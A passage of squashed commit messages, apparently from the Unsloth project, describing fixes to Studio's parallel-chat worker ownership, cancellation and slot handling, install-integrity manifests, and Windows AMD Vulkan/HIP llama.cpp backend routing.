finally on both paths. A reset still proceeds when nothing is running, so an
error path ahead of generation is not swallowed.
park() hands the freed slot to a waiter, so a chat resuming from a tool approval
could take it back while that waiter was still decoding, putting two holders on
a one-slot server and sending the resumed tool loop past the admission limit.
unpark_async waits for room; the plain unpark stays for a holder tearing down,
which will not decode again.
Audio only observed its cancel event on a forced swap. An explicit Stop just
aborts the fetch, and this route has no cancel id, so llama-server ran on to the
request timeout after the chat reported it stopped. Watch the disconnect.
Also read tool status by remoteId, matching the key the adapter writes and the
fix already made for tool output, and stop an unresolved run from writing its
usage into whichever conversation the user moved to.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: let only the generation the worker is running speak for it, and hold a slot for a resuming chat
The ownership list recorded admission, but the subprocess runs generations one
at a time, so a dispatched request queued behind another counted as an owner and
its Stop signalled the shared cancel event, ending the request that was actually
running. Keep admission for release bookkeeping and gate ownership on execution
instead, promoted when the worker first answers that request. Nothing executing
still permits a reset, so an error path ahead of generation is not swallowed.
The worker has one cancel event and no per-request cancellation, so this decides
who may pull the lever rather than making the lever per-request.
A resuming chat also polled for a slot it could never see: release() grants to
the next waiter under the same lock, so later arrivals overtook an approved chat
indefinitely. A pending unpark now reserves the next slot and they queue behind
it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the prefill window, and keep a first turn's tool output readable
Gating worker ownership on execution left the interval between the send and the
first response uncovered: nothing is executing then, and the empty case admitted
anyone, so a queued chat's Stop still ended the one in prefill. Split the empty
case. Nothing claimed at all still permits a reset, so an error path ahead of
generation is not swallowed; claimed but unanswered resolves to the oldest
claim, which is what a FIFO command queue is working on.
Putting both sides of the tool-output scope on remoteId left the first turn of a
New Chat writing under the unresolved scope for its whole life while the readers
recomputed the moment the autosave assigned an id, so the card blanked mid-run.
The readers now fall back to the unresolved scope, which only an unpersisted
first turn can occupy.
* Studio: order the parked approvals, and tie a worker claim to its enqueue
The reservation added for admission fairness was a bare count, so every approved
holder counted against every other: park two chats, approve both, and once the
last decoder released, nothing could ever satisfy the check again. That is a
deadlock where the problem it fixed was only unfairness. Make it a FIFO ticket
so a pending unpark blocks the ones behind it and no others.
_owns_worker reads claim order to decide which request the worker is prefilling,
which only holds if claiming and enqueuing cannot interleave. Hold one lock
across both on the dispatched and the locked path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: follow a first turn's run when its thread gets an id, and key the denoising canvas per chat
A run started before its thread existed filed every handle under "__default". Nothing
moved them once autosave assigned the real id, so the sidebar row showed no spinner and
Stop could not reach the generation, which kept holding a slot.
adoptDefaultThreadRun re-keys the run maps onto the real id from the thread adapter's
initialize(), where the id first exists; anything already filed under that id wins, since
that is a later run. The adapter captures its key once at run start, so it now resolves
the live key per use through runKeyForOwner, looking its own serverCancel up in the owner
map. Without that the migrated entries are stranded and the spinner never clears.
The denoising canvas was one global slot, so two diffusion chats overwrote each other and
the ownership tag then hid the visible preview until that thread emitted again. It is now
activeDiffusionCanvasByThreadId, written and cleared per thread, and the frame no longer
carries a threadId of its own. The bubble reads threadListItem.remoteId, dropping the dead
threadListItem.id arm: the writer tags unstable_threadId, which is exactly remoteId.
Two existing backend tests needed the same treatment. _bare_orchestrator skips __init__, so
it now sets the claim bookkeeping the worker ownership check reads. The Anthropic
passthrough gate test anchored on comment prose that a rewrap had broken; it anchors on the
code instead.
* Studio: hand the worker over cleanly between generations, and stop unresolved runs sharing each other's state
Worker ownership moved off the consumer and onto the dispatcher. Consumers read their
mailbox whenever they get around to it, so a request whose gen_done had been routed still
owned the worker while the next one ran, and a late Stop for it cancelled that one. The
dispatcher is the only place responses arrive in the order the worker produced them: it
now retires a request at its terminal response and promotes the next one, and answering a
request makes it the sole executor, since the subprocess runs one generation at a time.
reserve()'s immediate path ignored the unpark tickets that _grant_waiters_locked already
honours, so a request arriving between a slot freeing and an approved chat's next poll
took it, repeatedly. It applies the same reservation now.
Three places let concurrent first turns share state through the "__default" key. Nothing
links a run filed there to the id its thread later receives, so rather than guess, each
now declines when the key is ambiguous: adoption only re-keys a lone run, the composer
badge only claims a lone status, and the tool-output fallback only applies to a thread
that is still running. That leaves two concurrent first turns where they were before
adoption existed instead of handing one thread the other's handles.
A first turn's usage was never filed, because its key stayed null for the whole run while
autosave moved activeThreadId to the real id, so the context bar went blank after the
first reply. It resolves the adopted key like the cleanup handles do.
Cancelling a forced load left the UI with no model: the previous one stays resident until
/load's teardown, and the cancel path cleared the checkpoint without rolling back. It now
resyncs from the backend, which is right whether or not the load got that far.
The sidecar install drain is weighted 1:4 rather than halved, total unchanged. Only the
second half benefits from patience, and cutting it short refused installs whose chats had
already been stopped for nothing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give a first turn its real thread id before the run starts
A first turn filed every run handle under a shared unresolved key because
assistant-ui binds unstable_threadId before the thread is persisted. Two of them
overlapping there is unresolvable afterwards, and the last round's migration could
only decline rather than guess, which left neither sidebar row showing its run.
The id is available earlier than I claimed. append() already tracks
threadListItem.initialize() by the user message id, and createPersistedRunAdapter
already awaits that promise before invoking the adapter, so the thread is persisted
by the time the run begins. It was only being discarded: the tracked promise resolved
to void. It now resolves to the assigned id, and the wrapper hands it to the adapter
when assistant-ui had none. An id that is already set is never replaced, since that
would move a running chat's handles out from under the row watching them. The
existing unresolved-key guards stay as a safety net but should no longer carry weight.
The sidebar counted running thread ids rather than rows, so one compare conversation
read as two chats. It folds ids into rows through the same threadIds the row spinner
uses, and still counts a running id that matches no row.
_TrackedCancel always registered kind="chat", so an embeddings or raw completions
request appeared in the model-swap prompt as an unnamed conversation and confirming
cancelled it while calling it a chat. The non-conversation routes now pass their own
kind, and the prompt says "requests" whenever the snapshot is not all chats.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: withhold the shared worker cancel from a request the worker has left
Moving ownership to the dispatcher fixed reset_generation_state, but the token loop
signals the shared worker event directly and did not carry the same rule. A dispatched
consumer runs with mark_started off and can still be draining tokens buffered before
its gen_done was routed, so stopping it there ended whichever request the worker had
started next.
It now signals only when _owns_worker agrees, the same predicate reset_generation_state
uses. The local drain and return are unconditional, since those touch nothing but this
stream. The remaining _cancel_generation callers are deliberately global: subprocess
shutdown, the pre-load kill and unload_model.
* Studio: add the AGPL-3.0 header to the first-turn identity test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop the dispatcher and a _gen_lock stream fighting over the response queue
Nothing stopped the dispatcher starting under a _gen_lock generation, so once compare
was opened while an ordinary chat was still streaming, both consumed _resp_queue and
whichever response the dispatcher took without a mailbox was dropped, gen_done included.
That chat truncated or hung. This PR is what makes it reachable, since navigating into
compare no longer ends the chat behind it.
Delaying the dispatcher would serialise compare behind whatever chat happens to be
streaming, so the direct readers get a mailbox instead. _direct_reader returns a reader,
a cancel drain and a release, and files the mailbox under _direct_mailboxes rather than
_mailboxes, which means "compare requests are in flight" to the unload and distributed
paths and must not count an ordinary chat.
Both directions close. The dispatcher finds the direct reader's mailbox instead of
dropping. And this reader can already be blocked on the queue when a compare request's
dispatcher starts, so a response that is not ours goes to its own mailbox rather than
being consumed, which would have corrupted the chat and hung the pane. All three
_gen_lock readers use it, and the cancel drain goes through it too.
The sidebar's return target still picked a raw pane id while the count grouped by row,
and /chat addresses compare with `compare`, not `thread`. It resolves through the same
items now, so a running compare row returns to its pair.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep worker ownership honest across audio, API traffic and a replaced worker
The audio-input send got a mailbox last round but stayed unclaimed, so a compare request
queued behind it looked like the oldest owner and stopping that queued request signalled
the shared event into the audio chat. It claims under the send lock and releases in the
finally, like _generate_inner.
Ownership is keyed on cancel-event identity with nothing tying it to a worker generation,
so a consumer still blocked on its mailbox when the process was replaced stayed recorded
as the executor, and a generation on the fresh worker could not be stopped.
_shutdown_subprocess clears that state once the process is confirmed dead, mailboxes
included: nothing routes to them again, and a stale one reads as compare activity to the
unload path. Not on the survived-SIGKILL path, which keeps its handle on purpose.
The four public /v1/messages trackers were registering as chats. The distinction is a
Studio thread, not the protocol, and those branches already say "No thread_id: public API
surface" while the Studio path passes payload.thread_id separately. They carry their own
kind now, so the swap prompt stops calling an external request a chat.
The swap confirmation still counted raw pane ids, so a compare conversation asked to stop
two chats and listed its title twice. It folds panes onto pairId and lowers the count by
what it collapsed, leaving a first turn the backend can count but not name.
Deep Research set runningByThreadId but registered no server-cancel handle, and that map
is how Stop, archive and delete reach a thread that is no longer active. Leaving the
outgoing thread running is this PR's doing, so the run was left unreachable while its
supervisor kept working against a conversation the user could delete.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the parallel-chats comments
* Studio: replay a Deep Research stop that arrived before the run existed
The handle is registered before createResearchRun resolves because the thread can be
stopped while that request is in flight, but it had no id to act on and dropped the stop.
The supervisor then followed a run the user had already stopped, archived or deleted.
It latches instead: a stop with no id yet sets a flag, and the adapter replays it against
the id the moment creation returns rather than starting to follow.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix worker ownership on a raced reroute, and the stop-chats prompt
Four review findings on the parallel-chats work, all reproduced first.
- _direct_reader hands a foreign response to its own mailbox, but skipped the
ownership move the dispatcher makes. A _gen_lock reader already blocked on
resp_queue can beat the compare dispatcher to that request's first response,
and the compare consumer opts out of marking, so nothing promoted it: the
direct request stayed the recorded executor, its late reset cancelled the
compare generation, and the compare chat's own Stop was ignored.
- A chat stopped while queued on _gen_lock was still claimed and sent once the
lock freed. Cancellation is only checked on a token, so a long prefill, or a
generation reaching gen_done without one, occupied the worker after Stop.
Same hole in the audio-input path, which shares the lock.
- The stop-chats prompt counted generation handles, not conversations. One chat
holds several while a tool continuation registers its next leg before the
previous unwinds, so it offered to stop two chats and listed one title.
- Ejecting a model confirms through that dialog, which told the user
"Unloading the model reloads the model" and offered "Stop and reload".
Confirming calls /unload and leaves nothing loaded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: name the TTS run's thread so the stop prompt counts it once
The audio branch registers its run locally under the thread key but sent no
thread_id, so the backend tracker filed the same generation under no thread.
The stop-chats prompt then had a named local run and an unnamed backend one and,
since e8e7594 started adding unnamed entries to the named ones, counted a single
TTS chat as two requests. The backend already reads payload.thread_id, so
sending it lines both registries up on the same run.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Remove Studio desktop auth handoff flash
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix Windows Codex temporary home path
* Fix Codex ephemeral session cleanup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden Codex temp home reclamation
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Handle llama.cpp tool schema limits
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix Claude client tools under server tool policy
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve Anthropic client tool routing
* Match text editor schemas by version
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: detect an interrupted dependency install instead of launching a backend that cannot import
An installer killed part-way leaves a venv with a working CLI but without
studio.txt's dependencies. Nothing recorded that, so three separate places all
reported it healthy:
- the desktop preflight probed only `unsloth -h` (typer + rich) and a hardcoded
desktop-capabilities dict, neither of which touches studio.backend, so it
returned ManagedReady and spawned a backend that died on `import structlog`;
- setup.sh's fast path compared the installed unsloth version against PyPI,
which matches on a half-built venv because unsloth is installed early, so
`unsloth studio update` printed "up to date" and repaired nothing;
- start_managed_repair calls that update and then re-checks with the same blind
probes, so Repair reported success without fixing anything.
install_python_stack.py now clears a completion manifest before the dependency
pass and writes it only after the final step. `unsloth studio verify-install`
and desktop-capabilities' new studio_install_ok field read it, the preflight
turns a false answer into ManagedStale so auto-repair runs, and setup.sh /
setup.ps1 gain an escape hatch next to the existing anyio one.
Separately, the wheel ships studio/ and studio.backend* but declared none of
their dependencies, so `unsloth train`, `export`, `chat`, `inference` and
`studio` all ended in a rich traceback after a plain pip install. structlog is
the only hard module-level import that chain reaches once starlette's
annotation-only import moves under TYPE_CHECKING, so it becomes a core
dependency and the rest of the server stack becomes a [studio] extra mirroring
studio.txt. The CLI import sites now report missing dependencies as a sentence
with two remedies.
Fixes#4701, #5260, #7147
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Match the trimmed comments merged on the pip branch
* Put the install manifest in the preflight fingerprint for PR #7492
The capability cache keyed the venv on pyvenv.cfg, uv.lock, requirements.txt,
the interpreter and site-packages/unsloth_cli/commands/studio.py, none of which
a repair touches when it only reinstalls studio.txt. So an entry cached while
the install was healthy stayed valid after the manifest was dropped, and the
probe returned Ready on exactly the half-built venv this is meant to catch.
* Address the review findings on PR #7492
Fail the install when the completion manifest cannot be written, instead of
exiting 0 without the record every later check requires, which is a repair
loop by construction.
Compare the version of the package the manifest names, so `studio update
--package X` does not read as a permanent version change.
Read the manifest from the venv that owns it when the CLI runs outside the
managed venv, and drop the dependency verdict in that case: the walk ran
against the wrong interpreter and says nothing about that venv.
Name the import that actually failed. `unsloth train` reaches torch through
the same guard, and the studio extra does not carry it, so recommending that
extra alone left the command failing in the same place.
* Declare click, which typer stopped providing, for PR #7492
unsloth_cli/commands/start.py imports click at module scope and
unsloth_cli/__init__.py imports that module, so every unsloth command needs
it. typer carried click through 0.19 and dropped it in 0.27, and the declared
floor is typer>=0.12.0, so a fresh resolve gets no click. On the published
wheel it still arrives because huggingface_hub requires click<9,>=8.4.2, which
is luck rather than a declaration. A wheel built from this branch's
dependency list has neither, and every command dies at import.
Verified: before, `unsloth --help` on a fresh venv raised ModuleNotFoundError
for click; after, it exits 0. The drift test now covers it.
* Keep a running backend from the previous app version manageable
The manageability bump gated two unrelated things through one constant. For
the managed CLI probe 2 is right: a CLI reporting 1 cannot answer
studio_install_ok. For a RUNNING backend it is wrong, because a process
already started cannot change what it reports, so bumping studio/backend/main.py
in lockstep does not help one the previous app version spawned.
That backend is proven ours by root id and ownership token, but
lifecycle_control_block_reason returned Unmanageable, and that branch never
calls adopt_verified_backend. has_owned_backend() stays false, so Repair falls
into block_external_conflict, which finds the same process and refuses: the app
could no longer stop a backend it owns the token for. The same regression in
backend.rs turned a terminal-launched same-root server from AttachedReady into
ExternalConflict.
Split the constant: DESKTOP_BACKEND_MANAGEABILITY_VERSION = 1 for the two
live-backend probes, DESKTOP_MANAGEABILITY_VERSION = 2 for the CLI probe. Every
real gate (protocol, auth, ownership, desktop-login, MIN_DESKTOP_BACKEND_VERSION)
is untouched, so an old backend still reaches OwnedStale, adopt, stop, repair.
Also stop the installer when the stale manifest cannot be removed. Windows
raises on a read-only or locked file, and the pass would then run behind a
marker that still names this version and these digests, so a run killed
part-way would verify as complete.
* Answer for the managed venv, not the one the CLI happens to run in
The guard matched ModuleNotFoundError.name, an import name, against
missing_requirements(), which returns distribution names. So a missing PyJWT
printed 'pip install jwt', and jwt, docx and fitz are each a real but unrelated
PyPI project (fitz is a neuroimaging workflow tool), so following the advice
installed the wrong package and left the backend just as broken. Map the import
to its distribution before deciding, and never offer the import itself.
install_state() verified the caller's own prefix. The wheel ships studio/, so a
CLI installed outside the managed venv always finds its own copy of the helper
first, and a healthy managed install reported studio_install_incomplete with a
missing list copied from the wrong venv. Selecting the root is not enough:
_installed_version() reads the running interpreter and req_root defaults to the
caller's studio.txt, so both checks still answered for the wrong venv. Hand
verify_install() that venv's own metadata, enumerated through
Distribution.discover(context = ...path), which does not fall back to sys.path.
The candidate order is untouched, so shadowed-tree detection is unchanged.
setup.ps1 replaces pip, torch and triton before install_python_stack.py runs,
so the manifest it drops is not dropped before the first mutation. A run killed
in between kept a marker that still verifies while torch was half-replaced;
drop it at the top of the dependency pass instead. setup.sh is unaffected, the
stack is the first thing its pass runs, and a test now pins both.
pip uninstall rewrites nothing that was fingerprinted, and cache_matches
re-reads the cached studio_install_ok rather than re-checking, so a venv that
lost a studio.txt package kept being served the healthy verdict. Fold a sorted
hash of the installed dist-info names into the marker hash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* A missing manifest helper is a torn install, not an old one
studio/install_manifest.py ships in the same wheel as _studio_deps.py, so
nothing legitimately has one without the other: a CLI predating both never
reaches this code, and the desktop already calls such a CLI stale on
desktop_manageability_version.
Returning ok=true there reported a healthy install for a tree the package
update had half replaced, and the preflight then launched a backend whose
own run.py could be just as absent. Report it incomplete so repair runs.
* Tighten comments across the install-detection changes
* Validate Studio dependency readiness
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* split parallel tool calls for single-call-only chat templates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
The STT model list used text-[9px] and text-[10px], which ignore the UI
font-size preference and fail the test_no_raw_pixel_text_utilities contract.
Swap them for the scale-aware text-ui-9 / text-ui-10 tokens.
test_inline_font_size_styles_reference_the_scale compares source-relative paths
against FONTSIZE_PROP_ALLOWED_DIRS and FONTSIZE_STYLE_ALLOWLIST, both written
with forward slashes. It built those paths with str(path.relative_to(SRC)),
which is backslash-separated on Windows, so startswith() never matched and the
allowlists silently did nothing.
The suite is green on Linux CI and fails locally on Windows with 22 phantom
offenders, all of them the chart cards the allowlist already covers.
Route the paths through a _rel() helper that returns .as_posix(), and use it for
the other two offender messages too so failures read the same on every OS.
The ROCR-vs-HIP masking comments cite "a gfx1103 iGPU under a gfx110X
prebuilt" as an example of a GPU the build has no kernels for, but the
shipping gfx110X prebuilt does build gfx1103: unsloth-prebuilt-rocm.yml
passes -DGPU_TARGETS=gfx1100;gfx1101;gfx1102;gfx1103 on both Linux and
Windows, and the b10079 manifest maps all four. install.sh also routes
gfx1103 to gfx110X-all and is_rdna() includes it.
Swap in gfx1036 under gfx103X, which is genuinely unbuilt: that bundle
maps only gfx1030/1031/1032/1034.
Comment-only, no behavior change.
* feat(install): opt-in Vulkan llama.cpp backend and HIP gfx fallback (#7357)
Add UNSLOTH_LLAMA_BACKEND=vulkan and --llama-backend vulkan to force the
upstream Vulkan prebuilt on any host, persist llama_backend in the install
marker, and re-assert it during Studio updates.
On Windows AMD, auto-fallback to Vulkan when no detected gfx arch is in the
upstream win-hip-radeon GPU_TARGETS set (e.g. gfx803 / RX 480). Mixed setups
where at least one card is HIP-supported still default to HIP unless opted in.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(install): address Codex P2s on Vulkan gfx routing (#7357)
Honor ROCm family tokens (gfx110X), include fork-supported gfx1103, require
a known active gfx before auto-Vulkan, and base the HIP floor check on the
visible-device target instead of every physical GPU in hipinfo.
* Address Codex review: env namespace, physical-NVIDIA guard, test kwarg
- llama_backend_from_env: stop reading UNSLOTH_LLAMA_CPP_BACKEND. That is a
separate pre-existing setup variable meaning auto/cpu; setup.sh/setup.ps1
warn and ignore other values, so reading it here forced Vulkan behind that
warning. Vulkan opt-in stays on UNSLOTH_LLAMA_BACKEND / UNSLOTH_FORCE_VULKAN.
- _should_auto_vulkan_for_amd_windows: gate on not has_physical_nvidia (not
merely has_usable_nvidia). A CUDA-masked NVIDIA card keeps has_physical_nvidia
while has_usable_nvidia goes False; Vulkan ignores CUDA_VISIBLE_DEVICES and
could enumerate the reserved card. Mirrors the Intel auto path. Explicit
opt-in still overrides.
- test fakes: validate_prebuilt_attempts/validate_prebuilt_choice gained a
llama_backend kwarg; the four fake signatures in the fallback tests now
accept it, clearing the TypeError that reddened Backend CI / Repo tests (CPU).
Tests: UNSLOTH_LLAMA_CPP_BACKEND=vulkan no longer triggers Vulkan; hidden
physical NVIDIA suppresses AMD auto-Vulkan while explicit opt-in overrides.
* Keep gfx1034 on the ROCm path (fork gfx103X bundle covers it)
The WINDOWS_HIP_PREBUILT_GFX_TARGETS allow-list omitted gfx1034, so
_route_to_vulkan_prebuilt downgraded RX 6500/6400-class hosts to the upstream
Vulkan prebuilt before published_rocm_choice_for_host could match the fork
windows-rocm gfx103X bundle (whose members include gfx1034). Add gfx1034 to the
allow-list and a regression test asserting it stays on the fork ROCm asset.
* Fix auto-Vulkan stealing fork windows-rocm gfx908/gfx90a hosts for PR #7373
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Vulkan marker claiming a backend that was never installed for PR #7373
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the Vulkan backend routing comments for PR #7373
* Keep the visible-device-aware gfx when setup forwards --rocm-gfx
setup.ps1 resolves the gfx arch from its own probe, and that pick is not
fully visible-device aware: neither the hipinfo nor the amd-smi branch
reads CUDA_VISIBLE_DEVICES, and the amd-smi branch matches a bare integer
only, so a comma-separated HIP/ROCR mask such as 1,0 also falls back to
GPU 0. The resulting arch was then forwarded through --rocm-gfx and
replaced the arch detect_host() had already resolved for the
runtime-visible GPU.
On a mixed-AMD Windows host that flipped the auto-Vulkan decision: with
GPU 0 gfx1100 and a masked-in gfx1010, the forward reinstated gfx1100,
_should_auto_vulkan_for_amd_windows() saw a HIP-supported arch and the
HIP bundle was installed for a GPU that cannot run it.
Fold the forward in as a fill rather than a replacement: it still supplies
the arch on amd-smi-only, driver-only and name-inferred hosts where the
probe reports none, which is what --rocm-gfx exists for, but no longer
overwrites a successfully detected active arch. An explicit
UNSLOTH_ROCM_GFX_ARCH stays authoritative, since it is the documented
manual override for hosts whose arch the probes get wrong.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope the Windows AMD Vulkan fallback per device and per repo
Three follow-ups on the auto-Vulkan routing for #7357.
Keep an explicit --rocm-gfx authoritative. The previous round stopped a
forwarded gfx from replacing an arch detect_host() had already resolved,
but --rocm-gfx is also the documented operator override for hosts whose
probe is wrong or stale, and both arrive as the same argv. Narrow the
advisory case to the two shapes setup can actually be describing: an arch
the probe saw on this host (setup picked a different physical GPU of the
same box), or a family label such as gfx110X, which is a bundle name the
update path derives from the marker asset rather than a real GPU arch.
Any other value is an override for an arch no probe reported and stays
authoritative. Keeping family labels advisory also preserves the rule that
an in-generation-but-unbuilt arch (gfx1033) is never upgraded into the
gfx103X bundle.
Do not auto-route to Vulkan from a HIP-only device mask. HIP_VISIBLE_DEVICES,
ROCR_VISIBLE_DEVICES and CUDA_VISIBLE_DEVICES select the active arch, but the
Vulkan runtime honours none of them: it enumerates through
GGML_VK_VISIBLE_DEVICES and Vulkan ordinals in
LlamaCppBackend._get_gpu_free_memory_vulkan. Masking down to a below-floor
card therefore used to install a backend that could still enumerate the
HIP-capable card the user deliberately hid, possibly one reserved for another
workload. Require every physical AMD gfx to be below the floor, matching the
has_physical_nvidia gate right above it. So the per-GPU list survives to that
check, a forward that agrees with the probe no longer collapses
rocm_gfx_targets to a single entry.
Make the HIP support predicate repository-specific. The floor constant is a
union of ggml-org's windows-hip gpu_targets and the fork's windows-rocm
bundles, so it only answers "is this arch served" for the fork. With
--published-repo ggml-org/llama.cpp, direct_upstream_release_plan() offers
win-hip-radeon then CPU and never Vulkan, so the four fork-only archs
(gfx908, gfx90a, gfx1034, gfx1103) were declared supported and fell through
to CPU instead of the Vulkan bundle that would actually run. Add
UPSTREAM_WINDOWS_HIP_GFX_TARGETS and select the set from the planned repo.
* Keep probe-confirmed AMD GPUs in the physical list when a gfx is forwarded
rocm_gfx_targets is the physical inventory _should_auto_vulkan_for_amd_windows()
reads, so a forwarded --rocm-gfx that the probe never reported was deleting cards
the probe had confirmed. On a mixed Windows AMD box whose active device is masked
down to a below-floor card, a stale UNSLOTH_ROCM_GFX_ARCH or a name-inferred arch
for the other GPU collapsed the list to that one arch, the floor check concluded no
AMD GPU on the host reaches the Windows HIP prebuilt, and the install auto-fell back
to Vulkan, which honours no HIP mask and would enumerate the reserved HIP-capable
card. Add the forwarded arch to the list instead of replacing it: it selects the HIP
target, it does not redefine what hardware is present.
An empty probe still yields a single-entry list, so the driver-only Windows AMD host
the forward exists for keeps its automatic Vulkan fallback, and an explicit
--llama-backend vulkan is unaffected.
* Do not auto-fall back to Vulkan when a HIP device mask filtered the probe
hipinfo is itself a HIP application, and AMD documents HIP_VISIBLE_DEVICES as
"only devices whose index is present in the sequence are visible to HIP", with
that spelling recommended on Windows. Under a mask the Windows probe therefore
enumerates the visible devices, so rocm_gfx_targets is what survived the mask
rather than the physical inventory the auto-Vulkan floor check assumes. A
masked-out gfx1100 next to a visible gfx803 made the check conclude that no AMD
GPU on the box reaches the Windows HIP prebuilt and route the install to Vulkan,
which honours none of these masks and would enumerate the reserved card.
Decline to guess when a mask is set: the physical inventory is unknowable from a
masked probe, so keep the HIP / fork / source path. This only ever turns the
automatic fallback off, never on. The driver-only single-GPU host the fallback
exists for sets no mask, an all-hiding "" / -1 mask is still handled as no active
target rather than a partial view, and an explicit --llama-backend vulkan or
UNSLOTH_LLAMA_BACKEND=vulkan is unaffected.
Reading the physical inventory through an unmasked re-probe would also correct
_pick_rocm_gfx_target, which indexes the token list by the mask value and so
already assumes an unmasked probe. That is pre-existing behaviour on main and is
left alone here.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Treat an all-hiding HIP device mask as suppressing the Vulkan fallback too
The mask guard exempted an empty or -1 value on the grounds that the probe reports
no active target under it, but that only holds for the probe: a forwarded
--rocm-gfx still reconstructs an active arch, and setup infers that arch from the
display-adapter name, which no HIP mask touches. A user who hid every AMD GPU from
HIP could therefore still be auto-routed to Vulkan, which honours none of these
masks and would then use all of them. That is the strongest form of the hazard the
guard exists for, not an exemption from it.
Presence of any of the three variables is now the whole test, which also removes
the value parsing. An explicit --llama-backend vulkan or UNSLOTH_LLAMA_BACKEND is
still unaffected.
* Grant the fork-only Windows HIP coverage to the fork, not to every mirror
The floor set is a union of the fork's windows-rocm bundles and only the fork is
planned from its manifest: resolve_simple_install_release_plans() compares
== DEFAULT_PUBLISHED_REPO and sends every other --published-repo through
direct_upstream_release_plan(), whose AMD branch offers win-hip-radeon then CPU
and never Vulkan. Exempting only the exact ggml-org spelling therefore told a
mirror carrying upstream-standard assets that fork-only archs such as gfx1034,
gfx1103 and gfx908 were HIP-served, landing them on HIP or CPU instead of the
Vulkan bundle that would actually run. Gate on the fork instead.
Matching the dispatch exactly, spelling included, also fixes a differently cased
repo: that really does take the upstream path, so it must be answered with
upstream coverage rather than the fork superset. An empty repo still defaults to
the fork, as the resolver does.
* Derive the Windows HIP gfx floor guard from the published manifest
The guard compared WINDOWS_HIP_PREBUILT_GFX_TARGETS against a second hardcoded
tuple in the same test file, so a windows-rocm arch newly published by the fork
passed both. Affected hosts would then be routed off the hash-approved fork ROCm
bundle onto an unhashed upstream Vulkan build with nothing failing.
Read the fork's llama-prebuilt-manifest.json through the installer's own
resolver instead, and assert the floor, the family labels, and the routing
tuple all still cover what it publishes. The manifest ships only as a release
asset, so an unreachable release skips with an explicit reason rather than
flaking. Both literals match the manifest as published today.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Compress the Vulkan backend routing comments and docstrings for PR #7373
* Correct the family-label rationale in the Windows HIP coverage check
The comment justified serving gfx103X / gfx110X against any repository by
claiming upstream's windows-hip targets build every member of those families.
The fork manifest maps gfx103X to gfx1030..1032 plus gfx1034 and gfx110X to
gfx1100..1102 plus gfx1103, and UPSTREAM_WINDOWS_HIP_GFX_TARGETS carries
neither gfx1034 nor gfx1103, so the stated reason is wrong even though the
answer is right.
State the real reason instead. A family label is a bundle name, not an arch,
so the concrete GPU is unknown at this point; answering unsupported to cover
the two uncovered members would move gfx1030..1032 and gfx1100..1102 off a
working HIP build onto Vulkan for a card the label cannot identify. Those two
archs still reach Vulkan through the concrete-arch branch below, which does
answer per repository.
Comment only. No behaviour change: the 5850-combination override sweep still
reports 0 rocm_gfx_target changes, 0 auto_vulkan False to True flips and 680
True to False flips all backed by a probe-confirmed HIP GPU, and both the
feature and override profile matrices are byte-identical.
* Pin that a deliberate CPU install outranks Vulkan for PR #7373
UNSLOTH_LLAMA_CPP_BACKEND (setup.sh / setup.ps1, "auto" or "cpu") and
UNSLOTH_LLAMA_BACKEND (this module, a backend name) are separate variables at
separate layers, and both accept "cpu". setup translates its own =cpu into
--force-cpu, which is what pins the CPU-only bundle on a GPU host and keeps
Intel iGPU Vulkan crashes away (#7213), so no trigger this PR adds may
outrank it.
_route_to_vulkan_prebuilt already gets this right, since force_cpu
short-circuits ahead of the forced, auto-Intel and auto-no-HIP triggers.
Cover it so it stays that way: the matrix runs [Linux, Windows, macOS] x
